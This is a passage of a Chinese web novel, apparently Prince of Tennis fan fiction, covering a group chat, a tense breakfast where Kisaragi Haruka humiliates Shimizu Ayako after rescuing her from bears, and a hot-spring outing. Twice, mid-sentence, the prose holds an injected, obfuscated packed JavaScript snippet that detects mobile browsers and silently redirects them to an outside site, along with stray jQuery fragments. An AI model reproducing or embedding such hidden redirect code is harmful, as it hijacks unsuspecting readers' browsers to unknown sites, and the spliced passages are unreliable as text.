消息飞快滚动: 【向日岳人】:卧槽卧槽卧槽!从二楼直接跳下来了!如月同学那是什么身手?!她真的是人类吗?!@所有人你们看到了吗?! 【凤长太郎】:看到了,快到像一道影子。 【宍户亮】:重点是后面!喝退黑熊!三只!那是什么?神迹吗?!! 【泷荻之介】:无法理解……完全无法理解……我感觉自己灵魂都在震颤…… 【日吉若】:这已经超出“克上”的范畴了。 【芥川慈郎】:如月同学刚才像山神一样! 【桦地崇弘】:同感。 【芥川慈郎】:有人听到她对黑熊吼什么了吗?“山君”是什么意思? 【向日岳人】:山君?老虎啊,百兽之王老虎的别称! 【凤长太郎】:可如月同学怎么会……? 【泷荻之介】:如 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喧嚣的文字仿佛还在眼前跳跃,那些震惊、崇拜、羡慕、好奇的情绪隔着屏幕都能感受到。 他看着向日夸张的追问,泷的煽风点火,迹部那带着一丝微妙期待的询问…… 混乱的思绪在脑海中沉淀,最终化为一种带着点自嘲又带着点分享欲的冲动。 指尖在屏幕上轻点。一行字清晰地发送了出去。 【忍足侑士】:进展是被大小姐狠狠打了巴掌,手指印清晰可见。 轰——!!! 如同按下了暂停键。 疯狂滚动的群聊瞬间陷入了死一般的寂静。 几秒钟后。 【向日岳人】:…… 【凤长太郎】:…… 【宍户亮】:噗…… 【泷荻之介】:兄弟,节哀。[点蜡.jpg] 【芥川慈郎】:啊?如月同学打人了?不过……好像是她会做的事…… 【桦地崇弘】:保重。 【日吉若】:意料之中。以下克上,代价惨重。 【迹部景吾】:呵。任重道远。 随后便是满屏或同情或佩服或吐槽的表情包刷过,主题高度统一:忍足君,追这位战斗力爆表、脾气更爆表的大小姐,路漫漫其修远兮,请务必保重自己! 忍足看着那些表情包,无奈地笑了笑,心头的沉重感却奇异地散去了不少。 他关掉了屏幕,将手机扔到一边,房间重新陷入一片黑暗和寂静。 平躺在床上,望着天花板上模糊的轮廓,身体疲惫不堪,心绪却异常清明。 这一夜 从网球场那个混乱不堪、让他颜面尽失的修罗场;到山林深处那直面三头黑熊、命悬一线的惊魂时刻;再到这个房间里,被她甩耳光、又被她别扭地允许疗伤、最后被她嫌弃地赶走。 一幕幕如同走马灯般掠过心头。 愤怒、羞恼、恐惧、绝望、心疼、后怕、委屈、悸动……无数种情绪交织、碰撞、最终沉淀。 而在这所有的混乱和跌宕之后,一个认知无比清晰地烙印在他心底,比任何时候都更加深刻,更加灼热。 他喜欢的那轮月亮。 她清冷,她强大,她拥有着神秘莫测的力量,她洞悉世情又保持着近乎冷酷的清醒。 她能因一句质问而锋芒毕露字字诛心,也能在生死关头爆发出震慑百兽的无上威严。 她能在众人面前将他驳得体无完肤,也能在无人知晓的角落,用自己的鲜血和力量,替他挡掉一场可能颠覆人生的麻烦。 她骄傲得理所当然,别扭得又有点可爱。 她优秀得如同夜空中最夺目的星辰。 她明亮得足以驱散他心中所有的阴霾和迷雾。 真好啊,忍足闭上眼,嘴角却抑制不住地向上扬起,胸腔里涌动着一种近乎感恩的暖流。 感谢命运。 感谢在东京音乐厅的初见。 感谢那个踩脚背的惩罚。 感谢今晚这场惊心动魄的意外。 让他无比清晰地认识到,自己爱上了一个怎样光芒万丈、独一无二的存在。 这份认知本身,就已足够让他充满力量,足以抵消今夜所有的狼狈与疲惫。 忍足侑士在黑暗中无声地喟叹,带着尘埃落定般的满足和灼灼燃烧的期待,放任自己被沉沉的睡意包裹。 明天,又是新的一天。 39. 第 39 章 阳光透过落地窗,洒在别墅宽敞明亮的餐厅里。 长餐桌上铺着浆洗得笔挺的白色桌布,精致的瓷盘银器折射着柔和光芒,仆人们将一道道丰盛的早餐摆上餐桌。 然而,餐桌上的气氛却有些异样。 大部分人已经落座,正低声交谈着。 话题的中心,毫无疑问是昨晚那场惊心动魄、颠覆认知的救援。 “她真的是直接跳下去的?怎么能跳这么高,比我还厉害啊。”向日压低嗓子,用手比划着二楼的高度,脸上写满了难以置信。 “千真万确!我亲眼看到的!”水谷雅子用力点头,声音激动,“像一只优雅又迅猛的黑豹!” 泷荻之介的目光依旧残留着震撼,喃喃说,“迹部说是母族天赋,到底是什么样的存在?” “忍足……”宍户亮用手肘捅了捅旁边沉默的忍足,“昨晚的进展真的只是挨了一巴掌?” 忍足面无表情地喝着咖啡,只当没听见,脸颊上被扇了一巴掌的地方似乎又在隐隐发烫。 就在讨论愈发向八卦深渊滑落的时候—— 哒、哒、哒。 清晰而从容的脚步声,从楼梯的方向传来。 如同按下了静音键,所有窃窃私语戛然而止。 前一秒还在眉飞色舞的向日岳人瞬间噤声,差点咬到自己的舌头。泷立刻正襟危坐,目不斜视地盯着面前的餐盘。水谷雅子也赶紧低下头,专心涂抹面包。 整个餐厅陷入一片突兀的、落针可闻的寂静。 所有人的目光,或明或暗,都不由自主地投向楼梯口。 如月遥的身影出现在转角。 剪裁精良的浅蓝色连衣裙,衬得她肤色愈发白皙。长发柔顺地披在肩后,浑身都是彻夜安眠后的平静自然。 一步一步走下楼梯,步履平稳,姿态优雅。 晨光勾勒着她清丽的侧脸轮廓,仿佛只是在一个最寻常不过的清晨,下楼来享用一顿普通的早餐。 一切颠覆认知的过往,似乎都被轻易抛在了身后,没有留下丝毫波澜。 她走到空位,对着主位上的迹部景吾微微颔首示意。 “早。”迹部华丽的声音带着些微探寻。 “早。”如月遥回应,声音没有起伏。 随着她从容落座,餐厅里那根紧绷的弦似乎才松弛了那么一丝丝。 众人像是被解除了定身咒,拿起刀叉,开始用餐。气氛依旧凝滞,没有人敢轻易开口说话,连咀嚼的声音都刻意放轻了。 所有人的目光如同被磁石吸引,几乎是不约而同地落在了如月遥的左手上。 那里缠绕着绷带,却不是常见的医用纱布。 是一种特殊的、带着点哑光质感的深灰色绷带,材质坚韧,缠绕的方式简洁利落,充满了专业和力量感。 如同一个无声的勋章,也像一道凛冽的警示线,清晰地提醒着众人昨晚发生的一切并非梦境。 它凌厉、醒目,与她此刻平静从容的姿态形成了强烈的反差,更添几分神秘和威慑。 水谷雅子鼓起勇气,小声问道:“如月同学,伤口还疼吗?” 如月遥正用右手拿起一片烤得金黄的吐司,咬了一口,回了两个字,“还行。” 坐在斜对面的忍足,指节微微泛白,垂下眼眸,睫毛遮住了眼底翻涌的心疼和不平。 还行…… 又是这样轻描淡写的两个字。 她说不痛,不是因为真的不痛,只是因为习惯了。 习惯了伤痛,习惯了独自承受,习惯了用最平静的表象掩盖一切不适。 这份认知,像一根细小的针,在他心里反复扎刺着。 就在这时,餐厅门口再次传来脚步声。 众人下意识地抬头望去。 清水绫子穿着一件略显宽松的白色连衣裙,脸色依旧带着大病初愈般的苍白,眼眶微红,神情复杂地被女仆搀扶着走了进来。 她站在那里,目光扫过餐厅里的众人,最后定格在了那个穿着蓝色连衣裙,平静用餐的身影上。 如月遥。 刹那间,餐厅里好不容易维持的平静假象瞬间被撕得粉碎。 所有人的动作都僵住了,空气再次凝固。 昨晚网球场上那场几乎失控的冲突,那些尖锐的指责和羞辱,那场让她颜面尽失的修罗场,一幕幕瞬间涌入每个人的脑海。 而现在,那个曾经指着如月遥鼻子骂她“勾引”、“第三者”、“暴力凶残”的人,和被如月遥在黑熊爪下救下的人,竟然变成了同一个人。 向日手里的叉子掉在了盘子里,发出“叮”一声脆响,他自己都吓了一跳,赶紧低头假装没看见。 气氛瞬间降到了冰点。 昨夜昏迷前最后的记忆在清水脑中轰然炸开。 黑熊的阴影笼罩,腥臭的气息扑面,死亡的恐惧扼住喉咙,然后,一道纤细却无比坚定的身影挡在了她和死亡的深渊之间。 她能感觉到温热的液体滴落在脸上,淡淡腥气,是血。 直到今天早上醒来,她从女仆的口中拼凑出完整的经过。 如月遥。 那个她视作情敌,用最恶毒的语言攻击过的女生。 不顾生死,冲进熊群,用某种不可思议的力量驱退了黑熊,救了她。 荒谬如同海啸般冲击着清水的心脏,她当时觉得全世界都在跟她开一个残酷的玩笑! 然而…… 当她此刻真真切切地看到如月遥左手那裹着特殊绷带的伤口,所有的怀疑和不真实感都烟消云散。 这不是玩笑,这是她用鲜血证明的事实。 清水绫子的身体微微颤抖起来,脸色更加苍白。她咬着下唇,眼神复杂地看着如月遥,里面有愧疚、有震撼、有挣扎,还有不敢靠近的畏缩。 餐桌的另一端,如月遥仿佛完全没有察觉到清水的到来,也没有感受到这瞬间凝固到令人窒息的气氛。 她甚至连眼皮都没有抬一下,依旧专注地用右手拿起汤勺,舀起一勺面前奶白色的浓汤,姿态优雅地送到唇边。 轻轻吹了吹气,然后,小口喝下。 “南瓜汤不错。” 她顿了顿,像是在回味。 “很甜。” 清水绫子站在餐桌前,每一步都像踩在刀刃上,苍白的脸绷得死紧,眼神死死盯着那个泰然自若的蓝色身影。 所有混乱的情绪最终化为一句倔强的质问,“昨天……是不是你救的我?” 如月遥终于从眼前的南瓜汤上移开目光,声音带着理所当然的疑惑: “救你?” 摇了摇头,语气平淡得像在谈论天气,“没有啊。” 在清水瞬间瞪大的眼眸和众人屏息的注视下,她慢条斯理地补充道:“我是去救那三只熊的。” “救……熊?!” 清水绫子的声音陡然拔高,仿佛是听到了天方夜谭,“你在说什么!” 如月遥将勺子轻轻放回汤碗里,发出清脆的一声响。 她抬眸正视清水,陈述事实:“昨天迹部家的保镖都带了枪。” “我不出手,那三头熊,肯定会被当场击毙。” “多可怜的熊……” “可怜?!” 清水绫子像是被踩了尾巴的猫,瞬间炸毛,苍白的脸一下子涨得通红,“它们咬攻击我!它们差点吃了我!” “哪里可怜?它们不该死吗!” 如月遥面对清水的愤怒,只有近乎冷漠地审视。 “世间万物,生灵共生,众生平等。” 她的声音不高,却带着奇异的穿透力,敲击在每个人的耳膜上,“轻井沢本来就是它们的栖息之地。” “至于攻击你?” “不过是你自己不听劝告,执意深夜步行下山,才闯入了它们的领地,惹来了攻击。” 她的语气骤然转冷,如同冰水浇头。 “换做是你,领地闯入不明生物,你不会警戒、不会驱逐?” 字字句句都在点明:是你咎由自取。 话里话外的核心:那些熊的命,比起莽撞的你,重要得多。 这简直是把清水的尊严和生命价值踩在地上反复摩擦。 清水绫子气得浑身发抖,手指死死抠着桌沿,指节用力到泛白,她感觉一股血气直冲头顶,眩晕感阵阵袭来。 然而,如月遥这番冷酷到极致的话,却也恰恰以一种残酷的方式证实了——昨晚救她的,就是眼前这个人,就是她最恨的情敌! “你……”清水气得声音都在打颤,“你别以为这样,我就会感激你!!” 如月遥像是听到了最无聊的笑话,甚至连眼皮都懒得抬一下。 “你的感激值几个钱?” “你——!”清水的理智瞬间被这句轻飘飘的反问彻底击溃,她猛地一拍桌子,震得杯盘叮当乱响。 “好!好!!”她胸膛剧烈起伏,如同濒死的鱼,“我清水绫子从不欠人人情!尤其是你的人情!” “你说!你要什么!只要我清水家能做到的,我都给你!” “钱?资源?项目?你说!!!” 她几乎是咬牙切齿地喊出这句话,带着一种破罐子破摔的决绝,立志要用巨大的物质补偿来彻底洗刷这份屈辱的恩情。 如月遥微微后仰,靠在高背椅上,平静地看向怒发冲冠的清水绫子。 像是在打量一件待价而沽的商品,又像是在思考一个有趣的谜题。 餐厅里落针可闻。 所有人都屏住了呼吸,目光在两人之间紧张地逡巡。 在清水充满屈辱和愤怒的注视下,在所有人紧张期待的屏息中,如月遥樱唇轻启,语调平稳,一字一句,清晰无比地说道: “那你就……” “对我说……” “‘感谢如月姑奶奶救我小命,以后绝对不在姑奶奶面前大呼小叫。’” 噗—— 不知是谁没忍住,一口水喷了出来。 紧接着,是此起彼伏的、极力压抑却依旧泄露出来的吸气声和闷笑声。 向日死死捂住自己的嘴,脸憋得通红,肩膀疯狂抖动;宍户的手僵在半空,嘴角剧烈抽搐;水谷瞪大了眼睛,难以置信地看着如月遥;连迹部景吾的唇角都极其罕见地向上弯了一下。 天……天呐! 如月姑奶奶?! 这么……这么粗鄙、市井、带着浓厚江湖气息的称呼, 从这位清冷矜贵、气场强大的大小姐嘴里说出来, 目标还是那位同样出身名门、自诩优雅的清水小姐?! 太荒诞! 清水绫子的眼睛瞬间瞪得溜圆,眼珠子几乎要脱眶而出。 她怎么敢?! 让她堂堂清水家的小姐,对着她用这种,这种只有街头混混才会用的粗鄙称呼,还要说那么羞耻的话?! 这根本不是补偿,这是赤裸裸的、极致的羞辱! “你……你……”清水抖得像风中的落叶,脸瞬间涨成了猪肝色,嘴唇哆嗦着,一句话都说不出来。 如月遥云淡风轻地拿起放在一旁的手机,指尖划过屏幕,姿态悠闲地浏览起了每日新闻,仿佛刚才那句石破天惊的要求只是随口闲话。 这副彻底无视她、当她是空气的模样,击溃了清水绫子的防线。 她感觉自己像个被当众剥光了衣服的小丑,所有情绪如同沸腾的岩浆,轰然冲垮了理智的堤坝。 在所有人惊愕的目光注视下,清水绫子如同被逼到绝境的困兽,猛地一巴掌狠狠拍在如月遥面前的餐桌上。 “你不要太过分了!” 震得桌上的餐具齐齐一跳。 “做不到就走吧,你的感恩本来也不值钱。” 如月完全没被她的行为惊起波澜,低头看手机,然后颇为惊讶的说了一句,“诶?最近资生堂有活动啊。” 清水气得一佛出世二佛升天,这个女人,每句话都在挑战她的忍耐力。 做不到? 我做不到? 我清水绫子做不到? 清水的嘴唇几乎要咬出血来,胸膛剧烈起伏,用尽全身力气。 每一个字都像是从牙缝里、从喉咙深处、带着血沫和极致的羞愤,硬生生地挤了出来: “感、谢……如月姑、奶、奶……” 声音嘶哑变形,充满了屈辱的哭腔。 她死死闭了一下眼睛,似乎在做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526641|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最后的挣扎,然后猛地睁开,泪水如同断线的珠子滚落,伴随着更加崩溃的怒吼,“救我小命!!以后绝对不在姑奶奶面前大呼小叫!!” 喊完这一句,她仿佛被抽空了所有力气,身体摇摇欲坠,那张小脸被愤怒和泪水冲刷得一片狼藉。 餐厅里一片死寂。 所有人都被清水这豁出去的行为惊呆了。 如月遥终于从手机屏幕上抬起了头。 她看着清水绫子那副崩溃绝望的模样,微微弯了弯嘴角。那抹弧度很浅,却带着不易察觉的恶趣味。 轻轻吐出了一个字,声音不高,却清晰异常。 “乖。” 仿佛在哄一只炸毛的小狗,又像是在给这场闹剧画上最终的、带着绝对掌控意味的休止符。 “乖……?”清水绫子被这个字彻底打垮,最后一丝强撑的骄傲和自尊轰然碎裂。 “哇——!!!” 她再也控制不住,爆发出惊天动地的、充满了无尽委屈和羞耻的嚎啕大哭。 “你太欺负人了!!”她一边哭喊,一边如同离弦的箭般,捂着脸跌跌撞撞地朝着自己的房间方向狂奔而去。 那哭声凄厉悲愤,回荡在空旷的走廊里,久久不散。 餐厅里,只剩下众人脸上那精彩纷呈、难以言喻的表情。 忍足端起咖啡杯,轻轻抿了一口,眼眸里映着对面那个重新低头看美妆咨询、仿佛一切与她无关的清冷身影,心里无声地喟叹: 不愧是大小姐啊。 这一手,真是让人又恨又爱,服气得很。 早餐结束,餐厅里弥漫着劫后余生般的诡异平静。 众人眼神交流间还带着对刚才那场“如月姑奶奶”闹剧的余悸和忍俊不禁。 “蹬蹬蹬!” 急促而带着怒气的脚步声再次从走廊传来,清水绫子去而复返。 她手里紧紧攥着一团黑色的东西,脸色依旧涨红,眼眶也还带着哭过的微肿,但眼神里却燃烧着被羞辱后更加旺盛的火焰。 几步冲到如月遥面前,将那团黑色的东西高高举起。 正是昨晚如月遥盖在她身上,后来被桦地抱她回来时一起带回的那件沾着血迹和泥土的黑色睡衣。 “还给你!”清水的声音带着压抑的怒火,“你的破衣服!” 如月遥正慢条斯理地用湿巾擦拭着手指,微微抬了抬眼皮,目光在那件脏兮兮的睡衣上扫了一眼,随即移开,语气平淡:“不要了。” “清水小姐就当是轻井沢度假的纪念品吧。” 她目光意有所指地扫过清水,“比那个奈良的小鹿挂件,有用的多。” “你——!”清水瞬间被戳中了痛处。 昨晚那个被她视若珍宝、实则只是“误送”的廉价挂件,和眼前这件沾着救命恩人鲜血的破睡衣,形成了最刺眼的对比。 这简直是在她血淋淋的伤口上又撒了一把盐。 “谁要你的东西!!”她尖声反驳,气得浑身发抖。 如月遥姿态从容地整理了一下裙摆,声音里听不出是提醒还是讽刺: “说不定哪天你又突发奇想,要半夜独自上山……” “起码,它能让你不再被野兽攻击。” 说完,她的目光带着点嫌弃地瞥了一眼旁边正努力降低存在感的忍足,补充道:“比他的挂件有用的多。” 忍足:“……” 无奈地推了推眼镜,内心疯狂呐喊:真不是我送的啊!这锅背得也太冤了! 清水被如月这番“实用建议”和再次提及的挂件气得几乎要原地爆炸。 如月遥懒得再理会她,转身就准备离开餐厅,显然是要去收拾东西,准备接下来的行程了。 旁边的凤长太郎温和地开口,回答了之前有人问起的行程安排:“我们待会儿去星野温泉。” “星野温泉?”清水绫子听到这个名字,脸上的愤怒被极其古怪的神色取代,“你们要去星野温泉?” 如月没搭理她,已经踱步走向大门口。 “等等!”清水突然开口喊住了她。 如月遥脚步微顿,没有回头。 清水绫子站在那里,双手紧紧攥着那件破睡衣,指节泛白。她看着如月遥清冷的背影,脸上表情变幻不定,最终所有情绪被名为“绝不欠她人情”的执念压倒。 她深吸一口气,像是下定了某种巨大的决心,声音带着极其别扭的、恶狠狠的腔调,对着如月遥的背影喊道:“星野温泉……是我清水家的产业!” 迹部闻言,微微颔首,证实了这一点。 “我……我给你安排最好的房间!顶级的私汤!” 像是要强调这并非本意,她的声音更加凶狠地补充: “就当是回报了!!!” 餐厅里再次陷入一片寂静。 所有人都看着清水那副“我恨死你了但我不得不还你人情”的扭曲表情,又看看门口那个依旧没什么反应的背影。 如月遥终于缓缓转过身,她看着清水那张写满了“快拒绝我!快羞辱我!”的脸。 理所当然地点了点头。 “哦。” “我本来就要住最好的房间。” 轰——!!! 清水绫子只觉得一股热血再次冲上头顶,眼前阵阵发黑。 这女人!! 永远!! 永远都是这副理所当然、气死人不偿命的样子!! 她给她安排最好的,她居然说“本来就要”?! 清水气得差点背过气去。 她死死攥着手里那件破睡衣,仿佛要把它捏碎,胸口剧烈起伏,半天才从牙缝挤出几个字,“到时候……我再还你一套睡衣!” 带着一种“用钱砸死你”的幼稚: “大牌!高奢!顶级!哼!” 如月遥看着她这副气急败坏却别扭样子,极其随意地耸了耸肩,语气带着毫不在意的敷衍:“随你。” 说完转身,步履从容地离开了餐厅,留下餐厅里一个被气得快要原地升天、攥着破睡衣浑身发抖的清水绫子。 以及一群表情管理再次失控、内心疯狂刷屏“不愧是大小姐!”的围观群众。 40. 第 40 章 星野温泉 古朴雅致的和风建筑掩映在苍翠的山林间,带着硫磺的气息弥漫在空气中。 店主早已接到指令,毕恭毕敬地候在门口。 一见到如月遥的身影,立刻小跑着上前,双手奉上一张镶嵌着金边、触感温润的黑色房卡。 “如月小姐,您的房间已经准备好,是‘月见’私汤别院。” 店主的声音带着十二分的恭敬,腰弯得很低。 迹部站在一旁,扫过那张明显比他这位迹部大少爷预订的顶级套房还要高一个规格的房卡,眉梢几不可察地挑了挑。 这清水绫子为了还人情,还真是下了血本,连家族产业里最顶级的、通常只接待特殊贵宾的私汤别院都拿出来了。 如月遥却是一脸理所当然,仿佛接过的是一张再普通不过的门卡。 微微颔首,算是回应。 忍足极其顺手地接过了如月遥那个行李包,动作流畅得仿佛演练过千百遍。 “我送你去房间。” “顺便……该换药了。” 他这话一出,周围竖着耳朵的众人眼神瞬间变得无比精彩,各种或暧昧、或羡慕、或“我懂”的视线聚焦在忍足身上。 忍足面不改色,仿佛自带屏蔽仪,对周遭的视线和无声的调侃完全免疫。 “这边。” 于是,在众人的注目礼下,大小姐带着她专属的、心甘情愿的“贵公子管家”,朝着顶级私汤别院走去。 “月见”别院果然名不虚传。 独立的庭院,精致的和室,推开拉门,外面就是一方被天然岩石环绕、热气蒸腾的露天温泉池,视野极佳,私密性绝好。 忍足将行李包放在榻榻米上,动作熟练地打开装着特殊医疗用品的密封袋。 房间很安静,只有温泉池水汩汩流动的细微声响。 “手。”忍足的声音放得很轻,专业又温柔。 伤口边缘有些微红肿,但整体恢复得不错,没有感染的迹象。他松了口气,开始仔细地清理,重新涂抹药膏,更换绷带。 “泡温泉的时候,”忍足一边动作,一边低声叮嘱,“左手一定要避开温泉水。” “虽然用了防水敷料,但最好还是包一层保鲜膜,双重保险更稳妥。”他拿出早已准备好的保鲜膜。 如月遥瞥了他一眼,似乎觉得他有点小题大做,但终究没说什么,只是任由他仔仔细细、严严实实地用保鲜膜将她的左手小臂和手掌包裹起来,只露出几根手指。 房间里很安静,只有保鲜膜被拉扯的轻微声响。 忍足看着眼前被裹得像个白色小棒槌的手臂,又想起清水那番关于挂件的指控,心里那股憋屈劲儿上来了。 一边收拾着换下来的绷带,一边忍不住低声辩解,“那个挂件…真不是我送给清水的。” “我只送过东西给你。” 如月遥闻言转过头来,极其明显地翻了个白眼,清清楚楚地表明:这不是废话吗?还用你说? 清泠的声音带着点嫌弃的理所当然:“要是你批量送……” 目光在他身上意有所指地扫了一下,语气平淡却充满威胁:“早就被我踢断骨头了。” 忍足:“……” 明明是被凶了,被威胁了。 可为什么心里反而像被羽毛轻轻搔了一下,似乎带着点受虐倾向的高兴? 他甚至觉得大小姐翻白眼的样子都有点可爱。 完了完了…… 忍足侑士,你真是没救了。 他心里默默唾弃自己,嘴角却不受控制地微微上扬。 伤口处理完毕,忍足收拾好医药箱准备离开。 “喂。” 如月遥清泠的声音在身后响起。 忍足立刻停住脚步,“嗯?” 如月遥坐在床边缘,赤着脚,白皙的小腿悬在空中轻轻晃了晃。她看着忍足,没什么情绪,语气也平平淡淡,“待会儿泡温泉……” “你还要憋气吗?” 轰——!!! 忍足的脸“唰”地一下红透了,瞬间从耳根红到脖子。 奈良温泉旅馆那晚的窘迫记忆如同潮水般汹涌袭来。 “不憋了!”忍足几乎是条件反射般地、语无伦次地立刻回答,声音都拔高了几分。 “绝对不憋气!也……也不洗头了!” 他恨不得把脑袋摇成拨浪鼓,只想立刻抹去那段黑历史。 如月遥看着他这副瞬间面红耳赤的样子,几不可察地弯了一下嘴角,快得如同错觉。 “那也别喝酒了。” “泡温泉喝酒,酒精容易上头。” 酒精……上头…… 忍足的心跳瞬间飙到了180。 那个旖旎迷离、让他醒来后回味无穷又羞愧万分的温泉梦境,如同高清电影般在脑海中疯狂回放。 湿漉漉的长发,氤氲水汽中朦胧的侧脸,还有那近在咫尺、仿佛带着魔力的气息…… “是!是!”忍足只觉得一股热气直冲头顶,整个人都快要烧起来了。 他猛地低下头,不敢再看如月遥的眼睛,绝对服从:“谨遵大小姐的命令!绝对不喝!” 说完,他几乎是同手同脚地、以最快的速度拉开了房门,像只被踩了尾巴的猫,头也不回地窜了出去,还差点被门槛绊了一下。 近乎落荒而逃。 “砰!” 房门在他身后轻轻关上。 房间里,重新恢复了安静。 温泉池水氤氲的热气透过拉门的缝隙弥漫进来,听着门外那略显慌乱的脚步声迅速远去,如月遥终于清晰地漾开一丝极淡却真实存在的笑意。 抬起那只被裹得严严实实的左手,对着灯光看了看,然后轻轻放下。 嗯,这个“管家”虽然有时候笨了点,怂了点,但还算听话。 星野温泉的公共大浴场,掩映在葱茏的绿意之中。 露天温泉池由天然岩石堆砌而成,温热的泉水氤氲着乳白色的雾气,空气中弥漫着淡淡的硫磺气息和草木的清香。 几丛翠竹巧妙地构成低矮的篱笆,将宽阔的汤池分割成相邻的男汤和女汤区域。 竹篱的间隙不算严密,能清晰地听到隔壁的谈笑声,但巧妙地遮挡了视线,确保了基本的隐私。 水谷雅子热情地拉着如月遥加入了女生们的队伍。 如月对此并无异议,换上了一身简约的黑色连体泳衣,衬得她肌肤愈发白皙,长发随意挽起,露出优美的脖颈线条。 她受伤的左手被忍足用保鲜膜和防水绷带里三层外三层包裹得严严实实,像个白色的棒槌,此刻被她小心地搁在池边的石头上,避开水面。 隔着稀疏的竹篱,男汤那边传来忍足不厌其烦的叮嘱声,声音隔着水汽和竹叶,显得有些模糊,但那份担忧和碎碎念的劲儿却清晰可闻。 “水谷桑,千叶桑,佐藤桑……拜托千万看好她的手,别让那保鲜膜碰到水。” “虽然包得很严实了,但还是小心为上。” “如月小姐,你自己也当心点,千万别把左手浸到水里去。” 他絮絮叨叨,简直像个操碎了心的老妈子。 “知道啦知道啦!”水谷笑着扬声回应,声音带着调侃,“你也太细心了吧!如月同学又不是小孩子!” 千叶也笑着附和,“忍足君你这医学生的‘职业病’也太严重了点!” 隔壁男汤也传来迹部一声哼,以及向日等人憋不住的低笑。 忍足被调侃得有些不好意思,隔着竹篱回应,声音带着点窘迫:“咳……职业病,职业病而已。” 女生们说说笑笑,享受着温泉的舒适。 如月遥靠在池边,闭目养神,氤氲的热气熏染着她清冷的脸庞,添了几分柔和。 “噔噔噔!” 一阵急促的脚步声由远及近。 清水绫子换着一身精致的粉色蕾丝边温泉泳衣,出现在了女汤入口处。 目光飞快地扫过汤池里的众人,最后精准地锁定在靠边闭目养神的如月遥身上,脸上瞬间写满了难以置信。 她几步冲到池边,声音因为激动而拔高:“如月遥!你……你怎么在这里?!” “我给你安排的顶级私汤别院你不泡,跑到这大汤池来挤什么?” 如月遥缓缓睁开眼,隔着氤氲的水汽看向气鼓鼓的清水,她没回答清水的问题,反而微微歪了下头。 “你要不要下来一起泡?” 那态度,好像在邀请一个普通朋友。 “谁要跟你泡一个温泉!!!” 清水瞬间被这句邀请点炸了。 她猛地后退一步,仿佛如月遥所在的汤池是什么洪水猛兽,“我才不要和你待在一起!” 深吸一口气,努力压下翻腾的怒火,指着温泉池旁边最靠近入口、同样也是规格最高的一间带小汤池的休息室。 用一种极其别扭、带着命令和“我是在执行任务”的口吻对如月遥说:“你!泡完温泉!就到这个房间来!” “必须来!” 如月遥挑眉,“为什么?” “还睡衣啊!” “百货商场所有最新款的大牌睡衣我全都包下来了!” 她挺起胸膛,带着一种“用钱砸死你”的幼稚豪气: “绝对让你穿个够!” 如月遥闻言,脸上没有任何惊喜或期待的表情,甚至连眉毛都没动一下,语气里充满了毫不掩饰的漠然:“没兴趣。” “你——!” 清水被她这副油盐不进、软硬不吃的样子气得差点当场厥过去。 她感觉自己所有的“报恩”行动都像一拳打在棉花上,憋屈得要死。 攥紧了拳头,恶狠狠地瞪着如月遥,从牙缝里挤出最后通牒:“我!在!房!间!等!你!” 说完,她再也不想多待一秒,生怕自己会被眼前这个气死人不偿命的女人活活气死。 猛地一跺脚,再次“噔噔噔”地踩着愤怒的步伐,冲出了女汤,留下身后一片蒸腾的水汽和几个面面相觑、表情古怪的女生。 水谷看着清水消失的背影,再看看池边依旧一脸淡定、甚至重新闭上眼睛享受温泉的如月遥,忍不住噗嗤一声笑了出来,对着如月遥竖起大拇指。 “如月同学……你真是太厉害了!” 隔壁男汤的忍足听着这边的动静,无奈地摇了摇头。 这位大小姐啊…… 收拾起人来,真是花样百出,让人又爱又恨。 如月遥懒洋洋地踱进了清水绫子指定的那间休息室。 水谷雅子、千叶纱织和佐藤明美几个女生也跟了进来,显然是想看这场“睡衣报恩”的后续好戏。 一进门,所有人都被眼前的景象震得倒吸一口凉气。 偌大的休息室中央,几乎被包装精美的礼盒堆成了一座小山。 香奈儿的白色山茶花、迪奥的经典藤格纹、Prada的三角标…… 无数顶级奢侈品牌的Logo在灯下闪耀着奢华的光泽,几乎要晃花人眼,这哪里是送睡衣,简直是百货商场睡衣专柜的VIP库存大转移。 清水绫子双手抱胸,下巴微抬,一脸得意表情,鼻孔都快朝天了。 “喏!”她冲着如月遥抬了抬下巴,语气施舍般高傲,“自己看!挑!随便挑!让你穿个够!” 如月遥的目光平静地扫过那座“睡衣山”,脸上连一丝波澜都没有。 她慢悠悠地抬起那只被裹得像个白色胖蚕茧的左手,语气理所当然:“不方便开。” “……” 清水一口气差点没上来。 她的意思是还得我伺候她?! 水谷雅子立刻心领神会,脸上憋着笑,非常自觉地冲了上去:“我来我来!” 她兴致勃勃地拿起最上面那个印着巨大山茶花的香奈儿盒子,三两下拆开精致的包装,拎起里面一件。 粉红色,真丝吊带睡裙。 上面还缀满了细密的粉色蕾丝花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526642|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边,少女感爆棚。 水谷拎着那件粉嫩得能掐出水来的睡裙,表情有点微妙地看向如月遥。 如月遥瞥了一眼,好看的眉毛蹙了一下,樱唇轻启,吐出一个斩钉截铁、毫无转圜余地的字:“不要。” 清水脸上的得意瞬间僵住。 佐藤明美立刻拿起旁边一个迪奥的盒子拆开,里面是一件米白色的。 精致的蕾丝罩衫搭配同款短裤,浪漫优雅。 佐藤满怀期待地看向如月遥。 如月遥只看了一眼那繁复的蕾丝花边,嘴角似乎极其轻微地抽搐了一下:“蕾丝?” 第二个“不要”紧随其后,冰冷干脆。 清水的手攥紧了,指尖掐进了手心。 